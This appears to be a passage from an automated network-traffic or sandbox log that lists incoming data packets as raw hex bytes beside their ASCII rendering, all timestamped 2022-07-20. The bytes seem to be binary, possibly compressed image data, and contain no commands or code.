2022-07-20 17:09:02 UTC	9142	IN	Data Raw: 1c 05 3e d1 80 8f 71 8e f9 23 dc 3e a6 44 5a 09 96 54 14 4c f8 51 98 06 21 85 b2 33 e7 e2 66 03 89 9c 46 f7 2b 21 65 9f c8 26 70 7c 12 44 51 98 ab 0f a8 b5 f3 85 30 48 cc 61 e0 1c c3 33 07 bf 02 0c 60 d7 98 17 00 c1 31 8f 00 66 67 11 8f a4 19 27 d4 33 10 41 f3 63 40 f0 b0 98 84 62 08 3e 15 73 3e b8 57 10 09 f3 10 7a 7f 40 7b 19 31 a0 30 9f 79 85 a3 28 23 e2 63 11 1f 11 7d 90 b8 85 01 84 62 2b c2 7d b1 99 cc 07 1e 00 c8 3e a0 10 0c 46 1e be 60 84 43 01 9c a1 fe 31 5b db 40 7c 08 4e 21 10 19 9f 00 f8 ce 20 30 ac cc 03 31 57 31 1f 84 7b 39 44 3c 49 3e c7 a9 cb 11 5b d3 09 92 62 b4 1f 2c d1 57 33 19 81 a0 9e 84 16 4b 98 91 f8 72 86 66 08 23 4c 66 63 13 10 62 7c 4a ab e7 2c 63 5a a3 71 26 06 c0 10 46 fe 10 fb 39 28 0b 66 7d 80 16 6c f8 03 d7 8c e6 1f 53 19 f1 Data Ascii: >q#>DZTLQ!3fF+!e&p\|DQ0Ha3`1fg'3Ac@b>s>Wz@{10y(#c}b+}>F`C1[@\|N! 01W1{9D<I>[b,W3Krf#Lfcb\|J,cZq&F9(f}lS
2022-07-20 17:09:02 UTC	9150	IN	Data Raw: 8e d6 d9 02 eb 6f 2b d8 ba d8 00 60 02 35 ad 5a 60 1d 35 e0 f6 59 53 59 ac 6e 66 eb 46 2b d6 35 4f a9 ed 17 e8 da c4 a3 82 c4 88 b5 38 95 d0 2c 77 47 a5 b5 b6 03 44 ba 61 9a 7d 16 34 5e 4a 37 2c ad 91 2b 6b 22 82 b2 fd 7b 2c 97 29 41 ae 8c 56 cb 2d a4 0d 96 25 d9 c2 a5 64 cb 51 40 5b 36 12 2f 6f 7d 47 fd ae bd c2 cb 75 1d 85 4e 63 96 a6 2f fe 37 54 ea bf 50 24 b3 05 ac d9 59 5d ab 01 5d 83 83 b7 98 77 80 37 6d a0 6f ef 6c 2c 5e c3 60 4f f6 f6 80 db b4 39 75 d6 70 ba 6c 82 bd 2d 90 35 ed be a2 36 b5 2c 17 5b 5d b3 ea 66 64 17 aa d7 d8 b9 87 b4 65 83 72 97 0b b7 ae 20 dd aa 26 ca 92 5f f8 91 ca 35 28 d0 e9 fd c0 e8 9c b6 a1 10 6b e0 3d 40 46 d7 e1 02 13 0d 01 88 d7 39 fa 4c 15 34 05 92 7f 61 78 a5 e8 d3 ec 43 03 f2 9f 60 8d 68 10 dc a2 3e c5 4a 3f d8 17 3f Data Ascii: o+`5Z`5YSYnfF+5O8,wGDa}4^J7,+k"{,)AV-%dQ@[6/o}GuNc/7TP$Y]]w7mol,^`O9upl-56,[]fder &_5(k=@F9L4axC`h>J??
2022-07-20 17:09:02 UTC	9166	IN	Data Raw: 7b f6 2f bd 0a 3d d5 dd d9 b8 35 ec 5f ab 2f a7 4f 61 6b e8 d8 4e c3 a4 b9 6c d9 16 d2 ba db 0f 48 d3 b8 58 81 6f 8c 2b d5 4b 2d 5b 0d cd ca 68 d1 62 2a 06 77 0c 51 ed 6c d9 a5 b8 9d 90 b7 b4 b7 45 ee b5 b7 76 1b ac b5 a6 85 75 eb 46 d6 56 b6 e1 61 6a 96 ba 6e c1 a7 62 9a df 7e cb ba fa 52 cd 25 5d e2 b7 6b a5 96 ea 6e f6 56 76 db 15 ea 6b 2f 25 55 b3 81 37 9d 89 6a 58 8a 48 13 47 ab 1f 55 8c c0 6a d6 a8 45 98 6b ee e2 13 5b fb 76 6b 6e ff 00 50 55 61 95 6f b6 69 b1 4d 96 db f6 5b 6e 8b 20 a2 9e 2e f5 fd 62 fd 74 8d b3 ac fb 1b ac b6 36 e6 c8 d3 5c 57 a8 bf ec ac 56 d6 de 1b 4b ae 82 b5 db 5a ae 61 4a 8a 85 55 d6 38 d1 95 4b 00 fb 55 16 9b f5 ee b2 e5 36 9a ea a9 1a ba 35 b5 0d 35 a9 1b 1b 61 ab 4b b0 ed bd f5 56 2f 5d b8 94 56 a3 67 b9 5d 56 7b c6 1e f6 Data Ascii: {/=5_/OakNlHXo+K-[hb*wQlEvuFVajnb~R%]knVvk/%U7jXHGUjEk[vknPUaoiM[n .bt6\WVKZaJU8KU655aKV/]Vg]V{
2022-07-20 17:09:02 UTC	9182	IN	Data Raw: 6b ee 4b af 16 f6 09 af b2 69 a2 a9 40 6b d2 cb 36 ea 5a d4 15 73 6a 22 ec ba 47 ab eb 7b 6a 5c 6c 6b 15 43 5f 26 b6 95 11 0f 32 14 d7 2a 6a 40 bb 19 b4 89 55 19 54 4c ca 02 e7 5e d1 5a 6e 5e 0a 2d 84 cf b5 56 75 c8 6c b6 ca 0d 2e fa b6 d6 76 d1 c9 4d 07 ba 6c 6a bc d5 ae 9a db fd 8e a5 55 76 ff 00 b2 6e f6 8c 8f 61 47 a1 14 69 ad ed 66 ee ed fb 72 ea c8 4a 85 ea 3f b1 af ae a3 61 6e 3b 3a 0c b4 d8 8f c3 5e a6 a9 85 ce cb 56 98 d9 4d 7e 99 6b 3f eb 30 36 35 4d 87 f5 ee b3 5f 45 2c a2 fe c1 34 35 a8 aa cd 7d ad 6d 3d ad ee d6 b4 7e d7 51 9a 9a 7a 7a f6 ac ee ef dd 4b 16 d1 6d fd 9b 6c 5a f6 39 23 53 b6 d5 b2 fe b3 ae de ec ec d5 eb f5 b4 6d ec 77 c7 6d ad d5 f4 22 9b da da e8 6d cb f5 5c 5b da 2b 4d a7 ae e3 4a 24 d3 d7 4d 7b 29 ec ea d1 b3 69 1b b4 d8 d0 Data Ascii: kKi@k6Zsj"G{j\lkC_&2*j@UTL^Zn^-Vul.vMljUvnaGifrJ?an;:^VM~k?065M_E,45}m=~QzzKmlZ9#Smwm"m\[+MJ$M{)i
2022-07-20 17:09:02 UTC	9190	IN	Data Raw: a6 cf ef a2 3b 3f da ff 00 d8 55 70 ff 00 7b 2e ad 94 b3 6d 3b 25 e7 ff 00 65 6e 95 a3 3f d6 ba a8 5c 6a d8 c6 b6 02 9a 34 76 6b e7 be 7e bd a4 d8 66 6d a4 b7 5e db 76 09 0c 47 2d 9a 6b 23 5d ea 66 4a 56 80 36 1e ca 6c ec 91 6d ec 3a ff 00 ea d1 46 75 c6 ed 64 6b 52 0d 83 62 ce 66 96 1a ea bb 76 dc eb 9f b3 63 61 2a 5a 91 1d 35 ab aa d7 b7 5f 23 5d 9c 35 01 dd 76 b5 9f 45 37 69 ba f7 dd d9 5d 6a ad d9 22 b6 ad 43 ea f6 ba fa cd 66 d7 f6 46 a2 d6 5e ad a4 d7 ae be a6 c5 ae aa ac bf 5b 5f f5 cd ba 76 93 a9 e9 6d d5 3d 9e 97 53 67 63 be 96 94 d9 1b 97 8d ea a8 a8 ef 25 a2 f2 15 ac 61 72 28 c9 56 2c a4 0c 33 0f b3 ac ec ec d0 d8 df ef db b0 3b 3b f8 ae d6 54 0a c5 95 8b 28 73 c8 a5 46 c9 a5 d5 d3 b7 2a eb eb d6 6b 4a a1 61 ca 53 a6 db 87 57 3a cc 78 f3 1f fb Data Ascii: ;?Up{.m;%en?\j4vk~fm^vG-k#]fJV6lm:FudkRbfvcaZ5_#]5vE7i]j"CfF^[_vm=Sgc%ar(V,3;;T(sFkJaSW:x
2022-07-20 17:09:02 UTC	9206	IN	Data Raw: ae da c5 f5 2d a4 7f 55 04 aa e1 4a 7f b9 6a 0e df 6d fd eb 97 b0 da 9d 3e 86 e6 dd 77 6c d7 5b 0d 44 17 6b de 44 d9 e8 2b 6b 76 ba fb d6 59 6f f6 6b d9 e3 c3 ae d3 4d 81 b7 7e cf 57 6f 51 da b5 33 a6 d9 3c b6 50 f4 fb db 9d 9e c5 b7 53 be f7 3d 89 65 27 07 ec 19 06 da 43 5f fe cf 6f 40 6d b1 ab 51 b5 8d c4 00 f3 54 53 b9 4e c2 e6 dd 8a aa a6 c4 aa db ce 1b 37 e4 45 b5 16 9a 9b 16 1b 6a fb a9 41 62 9b 9e c2 6d 38 af 81 5b bf 89 6c b5 69 8b ed da 15 07 d6 ae c7 b1 f4 9e ba ef b7 fa 96 a0 08 ab 63 34 d6 50 06 d5 be b4 c2 59 68 2a 5a e4 70 6c dd 67 15 68 da ed af d7 d6 69 b6 c1 9b 82 73 3b 19 9a 9a b8 6d ad 8f f6 0f b2 e5 9a a2 f1 36 ac 53 ab fb 19 d5 ab 44 d5 bb 75 3d 5e b5 d5 9a 6a b2 fd 4a 86 9e cf f7 b5 05 5b 9b 01 57 6a 8d 6b 88 2e 1a cb 10 0a c5 81 4d Data Ascii: -UJjm>wl[DkD+kvYokM~WoQ3<PS=e'C_o@mQTSN7EjAbm8[lic4PYh*Zplghis;m6SDu=^jJ[Wjk.M
2022-07-20 17:09:02 UTC	9222	IN	Data Raw: d9 94 9b 75 8f 57 bd 65 d5 5b db ec 3e b7 57 6b 68 da fd bf fb 13 d9 e8 a2 9f d5 f7 93 ac da a7 56 bd 3d 7f dd f4 de ad df d6 a8 4d cd 3e ff 00 f5 bb 37 ad bf 5b 63 41 7b ac ee 5b d4 6d b6 aa 77 bb 62 e5 d1 d2 4b 1f be d3 4b aa e9 6b 35 6d 76 dd 4b d5 6a 6d 70 af bd ae a4 d1 db 7a 5a bd 6a 9a ad 5d 2d 8b 2b 5a 1d 73 45 4c 1f b0 a5 ac b7 4b 69 69 9d ce 8a 6b 3f 5f a2 7b 0d 3b 0b ca f6 b8 a7 6f a0 bb 73 ae dc d8 d5 a3 4f 4a de c4 53 b1 45 16 ed 76 35 dc db fd 98 75 d0 b3 92 ee a7 12 d6 d7 53 75 5b 56 d9 ab d9 75 37 35 7d 25 8d d7 d8 dd 9f 61 4c d9 ba 8b 93 56 8a fa 3b 75 45 62 ee 78 7d 27 d5 5a f5 bf 66 4e ae db 7b 2b 2d 4d 47 08 cb 57 f7 0b 6e 23 b0 a8 b9 ea 6e ae 8d 5a 3a 1d 70 df d4 ec 3a cb f4 34 53 af b5 71 ba 7a be a3 7b bb b5 b5 9b 42 cd bb 8a 40 c8 Data Ascii: uWe[>WkhV=M>7[cA{[mwbKKk5mvKjmpzZj]-+ZsELKiik?_{;osOJSEv5uSu[Vu75}%aLV;uEbx}'ZfN{+-MGWn#nZ:p:4Sqz{B@
2022-07-20 17:09:02 UTC	9229	IN	Data Raw: 1d 8b 8a 6c 52 c2 dd 5d b3 51 da bc 5a f7 6b 02 7b 27 7d 7b 37 34 e9 bb 5d 03 6b 9d ae be dd 5a ff 00 58 ed 97 4f 65 b5 2b b7 63 5f 48 d7 63 f4 d4 ed 9d ad 21 ac dd 4f 72 da cf b3 db ec 6b ee fe c1 de d9 d8 1f d6 fb f4 d8 ab ba ec ec 4b 29 6b 98 55 a0 6c a3 6f 58 d2 75 7a e7 77 a7 41 42 6f 2f 1a ac d8 1b 15 6a eb 2a cd bd 75 16 fe ab bf fd 8e b7 b3 ee ad eb df 7f 7a 9d c4 ed 16 ee ad fa ce d1 f6 2e db 2b f6 7e 9f de 57 aa dd dd fa fb f4 94 34 a5 ac f5 5b b9 45 35 0e af 64 5e 75 fb 06 eb 29 4e d6 bb 75 f6 37 53 66 db 59 ac 80 32 c4 2a 0d 9a 6e 1f 42 dd 8e a8 68 75 fb 3f b1 6c dd fa d7 5d 5e ee b7 67 af d2 53 b5 da 59 d9 6b f5 34 f6 26 de c3 47 b0 eb 51 74 2d a6 68 f4 5d b5 ba fd 7e ae f7 59 3b 9e c6 8b e9 eb 7f 4f d0 d2 d6 ec b4 f6 b4 3b 14 5f aa ba 2a f7 Data Ascii: lR]QZk{'}{74]kZXOe+c_Hc!OrkK)kUloXuzwABo/juz.+~W4[E5d^u)Nu7SfY2nBhu?l]^gSYk4&GQt-h]~Y;O;_*
2022-07-20 17:09:02 UTC	9245	IN	Data Raw: 95 2b 51 ff 00 63 5f fe 51 81 ed ad 2a 2a 06 b5 1b ff 00 c7 5a 95 1a 57 11 d7 b3 fc 65 05 5a e2 0f f8 49 11 ff 00 c8 6b 53 53 fe 1a 56 bf fe 6a 9f f0 d9 5f 92 c2 41 b4 cb 9f 30 e5 c7 5b 74 3b e8 9f d5 42 7f 4d 42 ec 35 04 7b 2b d8 4d 08 da 0e cd f5 3b 04 9d 2a 46 da ec ed ad 2a 4f ea ad bf e1 68 13 5a 7f d9 d3 ff 00 81 af f8 69 fe 3a d6 95 a5 6b fe 10 6b 5a 9f fe 21 08 24 d5 b9 01 b8 eb 50 68 14 15 23 6c d5 ed b7 b2 af 53 5d 82 b5 ab 53 71 a6 20 6b 52 66 a5 41 8a 96 d1 46 c1 44 83 15 2c bf aa 87 aa 04 f6 51 c9 8c 69 bc 54 7f 84 0f fb 3b 2b 5f f1 d3 6d 41 ff 00 b3 03 fc 63 fe d4 ff 00 f0 e7 fe d4 7f f0 f6 ff 00 f0 5b 2f de 37 0e 31 e6 f1 ff 00 d3 ad 78 8c ed fa d5 0b 04 d1 5d a7 69 f6 51 58 82 68 91 af 60 ed 3e 2f 86 84 eb 3a 54 01 ba 83 31 db b2 a4 9a 81 Data Ascii: +Qc_Q*ZWeZIkSSVj_A0[t;BMB5{+M;F*OhZi:kkZ!$Ph#lS]Sq kRfAFD,QiT;+_mAc[/71x]iQXh`>/:T1
2022-07-20 17:09:02 UTC	9261	IN	Data Raw: 95 4e c2 08 63 3e f7 dd f8 29 31 f5 42 e4 71 a1 07 44 3c af 8f c9 47 36 29 00 8b 4a 9d 7d da 54 51 2a a4 12 7d b4 a8 a7 8c f2 9a 18 ce d8 32 68 dc 64 fb 28 76 4d 07 d1 86 f0 76 7c 54 20 5a c4 eb 07 f6 d7 c1 4f 8f 21 87 5c 90 6e 3b bc cd 41 fa 46 21 b1 13 c0 dd 9c ac be 74 6a 24 90 b9 0e 33 0b bd 9b 4f 99 6d 0c 99 d0 a9 24 0c 8a 34 f9 ac b5 8b a5 e8 f1 4f 4c c0 13 92 64 03 dd f4 5d bf 6e ad db a7 10 d7 f6 a9 02 31 0a ad 3e f0 1d da 5c 79 08 46 6d c7 bc 3c ad 5c 4b 2a 75 91 b7 4a 76 4e 62 43 49 1a 1f 25 31 20 0f 4e 09 d3 41 3e f7 7a 80 ca 4e 27 d6 49 e2 53 e1 b3 cd 41 03 2b 4c 9f 08 2b cc f5 e8 e0 82 ae 03 31 53 1b 39 95 d3 b9 4a 18 36 80 05 61 c3 00 79 16 ac 85 6c a8 20 02 a3 8f df a4 f4 c0 0f 36 86 d6 d8 3f 77 6d 0c 6e 63 2a 68 c3 c3 40 63 fe 5d a0 3b 34 Data Ascii: Nc>)1BqD<G6)J}TQ}2hd(vMv\|T ZO!\n;AF!tj$3Om$4OLd]n1>\yFm<\KuJvNbCI%1 NA>zN'ISA+L+1S9J6ayl 6?wmnc*h@c];4
2022-07-20 17:09:02 UTC	9269	IN	Data Raw: 5f 37 8a ae 71 73 36 91 d9 4c a4 83 1b c6 b4 35 11 02 26 ae 9e 12 74 9a 68 30 b3 be a1 46 82 64 9a 55 00 c8 00 18 ab b5 85 db 4c 83 52 75 1e ca 19 b1 ae a8 64 b6 da 65 69 c6 0f 13 69 2e d2 7e ee 9b a9 c2 c7 0e 3c 32 09 f3 0f c5 ef f7 69 b3 c0 04 b3 15 27 59 9f e6 3d 17 54 bb 18 70 be 52 7b ca d4 d8 b1 2d a0 6e 63 b1 7c 1f 52 86 75 32 54 01 ed 20 d6 07 66 66 b1 4b b1 6f 2f dd af 96 9b 23 cf a6 d7 47 d0 e1 ac 39 30 69 70 37 6e 83 f5 69 cb 18 8d a3 79 f7 68 40 30 47 e9 a0 84 c6 9b 68 62 9d 46 83 e4 f2 d3 61 18 a2 7b e7 9b e2 a3 8a d0 8e 24 06 3a ac 0e f3 51 c7 90 8d 76 46 ce 2a d0 84 45 30 d7 0e 16 f8 ff 00 72 94 23 ec 32 47 f9 ef d0 e9 f3 2a 82 56 43 b1 80 40 ee d1 5c 0a 11 54 90 02 f6 50 73 ae 86 67 5a bb 11 51 22 0c d1 37 68 76 76 d1 19 18 e9 be 7f 76 8a Data Ascii: _7qs6L5&th0FdULRudeii.~<2i'Y=TpR{-nc\|Ru2T ffKo/#G90ip7niyh@0GhbFa{$:QvFE0r#2GVC@\TPsgZQ"7hvvv
2022-07-20 17:09:02 UTC	9285	IN	Data Raw: 04 78 7d ea 01 e6 1a 4c 0e ce f3 52 62 46 85 92 00 14 cd 13 74 c3 1d ba 77 ac ab 8e b1 5e 9a 03 e9 88 2c 7c 29 f7 8c cd fb 95 83 0f 44 85 31 32 90 8a 01 dc 7f 98 f7 f7 da 86 20 24 0d 18 1d 24 d2 f5 40 35 98 6d 57 3b 84 f0 a3 b7 85 5f 92 90 42 15 63 2b 6f 13 22 0e 6b da b0 f5 3d 3a 9b 58 64 2f 3b 58 ca ad dc 3e 0a 66 75 e2 76 2d 70 11 2a bc d6 2f bf f3 e8 84 92 43 7a 8c 01 86 23 b9 8b fd aa c9 97 a7 c4 30 2a 0d 75 bd 36 71 7e 55 bf 7e b1 66 0c 31 69 68 03 88 85 1f 78 d7 f8 a9 9e 27 14 98 24 45 df d4 6a 1a 0f 4b 11 24 93 b1 bf a3 ee d1 c8 92 2e 32 34 01 55 4f 73 fd ca 5c 18 98 dd 69 19 72 83 a5 9f 87 8d 7f 15 ff 00 12 b1 74 9d 32 32 e3 c2 43 3b 47 31 1f cb f7 fc 75 c4 ca c4 89 bc 6c 9f 73 c5 49 d4 e6 56 1e 9d d7 48 26 f1 a7 a4 de 9f dd 63 a3 84 10 01 7b 86 Data Ascii: x}LRbFtw^,\|)D12 $$@5mW;_Bc+o"k=:Xd/;X>fuv-p/Cz#0u6q~U~f1ihx'$EjK$.24UOs\irt22C;G1ulsIVH&c{
2022-07-20 17:09:02 UTC	9301	IN	Data Raw: 04 c6 1c 40 77 e2 3a f8 51 38 e9 82 29 2f ca fd 46 50 02 c4 7f fb 2e 2f fd 3a 6e 9b a7 c8 f9 c9 db 79 d1 7c 5f 3e bd 3c 8d 76 48 98 51 c2 a3 c9 59 70 e6 b8 22 9d 48 10 cd e5 6c 8d 4d 90 f1 10 d6 cc 9b 74 f1 e4 6b 3d 57 f8 3d 3a 18 17 22 80 16 45 a4 6c 1c d4 55 86 33 8d d8 04 2d de fe a2 2b f3 22 fe 25 3f 4b d1 17 00 10 0e 46 01 b1 99 fb 3f e6 73 f1 fd dd 3f 48 ef e9 e4 b8 82 19 6e 22 d1 fc c4 a4 67 ce 32 84 85 55 3c 0b a7 0f da e2 e1 b1 31 f3 50 e9 7a 13 eb 82 60 00 08 91 f7 8e af cb 65 dd ff 00 05 3e 2c 6e af 9d b4 66 24 fa 78 c7 85 7c 4d 47 20 b9 9a 0c e4 c8 78 cf b9 dc c6 95 66 13 39 b2 10 00 8b f4 1c d6 7f 53 dc 4a f5 fa b7 4b b7 e1 06 e7 5f 7d 97 97 cf 47 a7 0e 49 62 0a a2 e8 aa a3 c7 e1 a2 a4 98 1a 9f f9 a9 71 e0 00 24 8d 0e e1 de 6a cc 71 96 c6 4a Data Ascii: @w:Q8)/FP./:ny\|_><vHQYp"HlMtk=W=:"ElU3-+"%?KF?s?Hn"g2U<1Pz`e>,nf$x\|MG xf9SJK_}GIbq$jqJ
2022-07-20 17:09:02 UTC	9309	IN	Data Raw: 1b fd ba 0c a9 7e 3d 4a 01 a4 30 fe a7 27 a7 75 1e 9d dc 63 c0 aa 2f 66 10 1a ef b8 c4 9e 2f ea 50 c6 ce 8e 90 59 40 53 23 1a f0 e3 e6 ef d7 49 09 eb 03 8c 96 91 24 49 ef f9 3c 69 4b f9 1b 71 3e 42 42 80 0b 21 51 cf 9e de e3 7e 15 1c 63 ec db 28 21 9f b9 2b c1 ea d9 df c9 40 2b 36 5b 66 44 da ac df d6 cb e6 ee 62 ac 8e ca 3d 20 55 86 30 24 de dc 36 aa 78 69 ba ce a4 1c 58 13 89 50 1e 22 47 75 56 99 f2 21 b7 20 52 88 39 80 fe a7 86 8a a6 23 a9 81 3b 00 f3 3b 53 75 1f dc 1d 5d c0 90 87 95 60 77 31 b7 3b 79 eb 23 28 95 68 00 8f 02 f7 53 fd d7 f0 53 36 60 6c 2a 64 9d 0a 28 fb 4b 56 83 74 f8 bd 46 65 95 45 03 60 ef 3f c3 58 32 2f 4e ea ae d1 1a 02 63 f8 6a f4 c2 f8 8a 39 16 49 2a c4 70 7d bb e4 e7 b3 c9 43 1e 54 65 2a 64 a8 68 04 30 ef 5d dc 6e e5 05 e8 94 2a Data Ascii: ~=J0'uc/f/PY@S#I$I<iKq>BB!Q~c(!+@+6[fDb= U0$6xiXP"GuV! R9#;;Su]`w1;y#(hSS6`ld(KVtFeE`?X2/Ncj9Ip}CTedh0]n
2022-07-20 17:09:02 UTC	9325	IN	Data Raw: 6a 07 3b dd cf ea 72 63 c4 9f cc f2 50 c1 0b d3 e7 64 24 ac 7c d5 bb bb 6f de 78 eb 2e 5e a8 da 72 db e9 2c 5a fb 6e e3 c7 cd e9 d6 27 dd 6e df 92 93 1c 88 40 40 d3 5d b7 50 0d 30 76 d4 44 01 a7 d5 a9 26 62 28 06 81 3a 8a 81 a9 f6 d0 c7 90 95 4e f1 89 3e ed 1c 69 cb b7 5d f1 56 cc 53 30 e5 5d b4 cc 9a 19 d2 80 73 a1 32 07 b7 ea d5 ac b0 fb ce ea 3e b9 f5 4c 40 ab b4 d3 b6 89 36 bb 1d 08 a2 5c d4 49 0d a4 89 af b3 50 67 5d bb 29 58 96 37 6e 5a 82 fa 46 84 09 f8 6d a0 48 95 22 09 23 f6 bc 94 06 1c 88 ba 68 ae 40 91 fe 7b b5 17 01 02 37 2a d3 14 ce c6 57 90 83 6a ff 00 51 7c f4 8c ee 5f 26 ce 29 ba 3f 71 6a ec de a6 42 7b b3 f3 ec b7 92 95 7f b6 74 f8 fa 6c aa 08 56 59 24 82 2c 7b 99 fe fb f0 de bd 21 20 06 95 89 94 61 cd c5 e7 ac 59 9d af c5 37 b0 ba 1f 4f Data Ascii: j;rcPd$\|ox.^r,Zn'n@@]P0vD&b(:N>i]VS0]s2>L@6\IPg])X7nZFmH"#h@{7*WjQ\|_&)?qjB{tlVY$,{! aY7O
2022-07-20 17:09:02 UTC	9341	IN	Data Raw: 1f ed db 4d d3 64 44 70 32 06 c7 97 bf 8c fd e6 3b be f1 32 7f 1d 5b 99 94 90 09 21 4c fc e7 e5 a2 c3 21 b8 ee 03 87 e7 52 a8 0a 06 b3 3a 1f 7a ef 1d 15 c9 85 32 e3 98 ba 21 d7 dd 7a 77 b6 d6 91 61 ba ed 7b fc 7f e1 30 64 d4 a8 a1 81 89 86 69 30 66 8a 4f 0e c9 df ee b5 4c 06 7d 97 34 cc 79 5a af 6f 94 c5 6c 93 3a 03 44 23 da 59 4f aa 62 61 4f 17 ec 51 c1 d1 31 ca b1 b6 20 9a 5e 8f 1a 43 26 f3 da 2b f2 ca d7 07 37 38 9d be 04 b6 80 c2 4e b0 c1 06 e6 ac 6f 94 95 7c 83 88 1e 22 07 ff 00 d5 62 b6 8f aa c1 c9 d4 10 2b 84 01 1a ec a0 19 47 c9 14 ab b4 13 b0 76 78 6b d4 06 14 9d 3b 68 12 08 8d fb 6a f4 58 c8 ba 11 47 11 20 34 c8 27 68 3e f5 1d 48 9d a0 1a 39 1d 43 03 de 1c c0 7d 2a 21 41 96 12 40 e6 9f 17 15 00 5d 50 11 22 78 9b f6 6b f3 39 c9 fc a3 12 2e 24 4d Data Ascii: MdDp2;2[!L!R:z2!zwa{0di0fOL}4yZol:D#YObaOQ1 ^C&+78No\|"b+Gvxk;hjXG 4'h>H9C}*!A@]P"xk9.$M
2022-07-20 17:09:02 UTC	9349	IN	Data Raw: 31 b2 8d ca 10 8d d1 56 30 db b0 0d f5 6d a2 e3 32 4e ef 76 81 07 4e f7 6c 50 c5 8e 42 29 90 58 d0 19 4c 81 a8 15 71 23 5d 40 34 55 9f 88 1d 01 fa 34 20 eb 3a d1 63 05 a2 62 83 10 78 84 80 35 a2 b9 24 40 d8 44 c7 c3 50 09 67 5d 9f 25 2a 3c 83 a5 c4 6c f9 b4 b9 3a 69 55 20 87 57 3f b9 6f 72 95 b0 00 f8 c1 f8 4f 8a bd 4c 46 d2 01 04 03 a1 fe 9a d0 c9 12 c8 db 06 92 a7 c7 51 b1 23 7e ba d6 86 7d 95 6b 08 53 db ba 84 ad c2 68 e4 58 d3 6d 2d a0 48 25 80 3d ea 75 9b 9f 2b 02 63 7c 78 7c 94 a1 94 70 18 24 98 17 1e e6 3e f6 4b 7b f4 11 99 42 ec b8 11 bb f7 68 1d f3 ba 8b e4 04 c1 e1 1e de ef cd a6 0c f6 c6 ac df 4b de a1 93 a7 59 50 60 c9 9e 21 f5 aa e6 9b da a0 09 73 b6 35 9a 9c a6 d3 12 07 b2 8f aa 7d 46 51 c2 0e cf 9b 4d eb 80 b2 08 9d a2 a0 9b 93 6e 9a dd 56 Data Ascii: 1V0m2NvNlPB)XLq#]@4U4 :cbx5$@DPg]%*<l:iU W?orOLFQ#~}kShXm-H%=u+c\|x\|p$>K{BhKYP`!s5}FQMnV
2022-07-20 17:09:02 UTC	9365	IN	Data Raw: 6e 40 63 2c 48 10 42 f8 6b f3 ad 6f ad 90 41 03 cb de b7 bb 49 8c ad cc 45 cc 0f 7a 4f 0d d4 57 26 85 88 33 b6 84 98 9d 68 aa 09 9d 04 6f a0 32 a9 51 bc 9a b3 26 bb c4 ed 3f 15 36 62 c1 15 8d a6 75 8f f6 f1 fb b4 33 37 13 11 1c 5d d1 e6 5f 1d 65 c0 09 7b f4 d4 c0 fd 8e 2a 20 61 2a e9 00 35 ba 11 41 db 20 8c a6 49 6e da f4 f1 99 1a 06 3b 35 f2 d0 65 73 27 85 57 6e a7 9d 9b cd 49 88 cd ca 09 3d 93 e1 a0 49 56 90 62 37 1f 35 29 da 37 91 b6 28 b2 23 ec d4 b3 00 cc 7b ab 6f 83 cf 59 3a 9c 68 a1 31 2c 37 14 a2 93 fc ac 58 d7 be e9 cf 47 25 c4 16 04 30 33 a8 23 8e df a9 4c 54 c2 9d 80 f3 69 de a1 b7 e5 99 af cb 74 bf 6c 19 a4 2a 98 13 e7 fe 0e 7a c8 aa e4 e4 52 6e 27 80 5a 39 f1 db ef d6 3c 1d 60 2b 8c 10 5c 82 01 55 8e 16 6b a8 64 40 d6 8d 40 0c 1b 67 e2 b2 f7 Data Ascii: n@c,HBkoAIEzOW&3ho2Q&?6bu37]_e{* a5A In;5es'WnI=IVb75)7(#{oY:h1,7XG%03#LTitlzRn'Z9<`+\Ukd@@g
2022-07-20 17:09:02 UTC	9381	IN	Data Raw: e0 5f 25 61 c1 8b 85 82 46 40 17 8a e3 f7 b9 7c 7e e5 7a ab 85 71 ae 25 0a 2c 10 a5 79 7d 6b 39 b8 bb f4 6d 51 07 79 1a 8a 49 04 32 92 43 78 b5 f0 f9 69 5d d1 50 15 2a 83 40 be 77 45 fc 46 a6 28 0b b4 5a 5b ba c7 9b d3 5f 77 9e 99 c2 5a ce dc 2a 36 2f 8f e7 35 0d 35 1b ea fc ad b3 60 ed f2 ad 42 49 f6 d1 ca 39 93 62 c4 dc 4d 64 3d 30 e2 c8 06 82 03 69 ef 7f 56 b7 9c a5 ad 6c 7a dc 4f fc d4 30 ae 33 91 ce 4b 40 de cc a3 d4 fd ce 7a 43 d4 e3 09 91 d6 46 35 20 85 0a 3c be 3a 0b 8b 98 80 55 a3 53 34 c9 8c 1d 06 df 17 77 f6 a9 72 66 37 31 da a3 71 a8 c4 ab 8f 18 d0 e9 1b 3b aa dd fa 6b 35 04 4f ce a0 93 2c 20 8a f5 b9 b2 9e 4f 2b 78 ad ef d2 64 5c 9f 68 24 11 bc b7 8a 82 10 64 1d d4 5c 08 00 80 05 05 23 88 ea 45 29 5d 74 3a 76 54 1d 0b 55 8b ab 44 9e c8 a2 aa Data Ascii: _%aF@\|~zq%,y}k9mQyI2Cxi]P@wEF(Z[_wZ6/55`BI9bMd=0iVlzO03K@zCF5 <:US4wrf71q;k5O, O+xd\h$d\#E)]t:vTUD
2022-07-20 17:09:02 UTC	9388	IN	Data Raw: f0 36 c6 f3 23 51 e8 f2 8f b4 0d 2b 77 75 87 2f 15 5b 9e 31 e5 88 70 c3 5f 86 88 79 d6 60 83 1e e3 ad 7f ee 0d cc 0f 09 61 21 81 e7 c2 fe 2f 12 50 38 54 e3 51 26 06 ba f8 68 e3 16 b6 42 24 00 76 ff 00 1d 0c 86 d6 42 38 94 1b c0 1e 1c bf 0d 0c 78 c3 06 d2 cd 67 41 f7 77 50 c5 91 6d 65 3e a1 66 1c 1f e7 c7 51 61 25 1a e5 20 f2 9f 7b c2 d5 8f 2a 82 3a 91 00 90 06 ab e2 f0 bd 3a e6 54 17 71 8c 89 c3 f1 2f 71 bf a9 8a 99 11 9c 0c 25 78 5d 6d e2 6e fa 22 7c fa 82 76 19 66 ed a0 5a 46 9b 0e f1 4a ca cb 04 13 04 49 1f 17 8b c0 95 ac 92 36 7f 15 44 f1 1d de da 93 fa 4d 0d 36 ec a0 ac 79 60 40 a6 c8 af 6b 24 6b b2 07 73 1d 9d fa 6c ce c5 9d b5 27 b4 d4 9d 9b a9 d6 06 a2 36 71 7c 14 98 50 4b 31 81 f2 d6 3e 91 5a 20 cb 91 b0 11 c3 cd 57 30 24 10 7e 51 e5 a3 66 80 1d Data Ascii: 6#Q+wu/[1p_y`a!/P8TQ&hB$vB8xgAwPme>fQa% 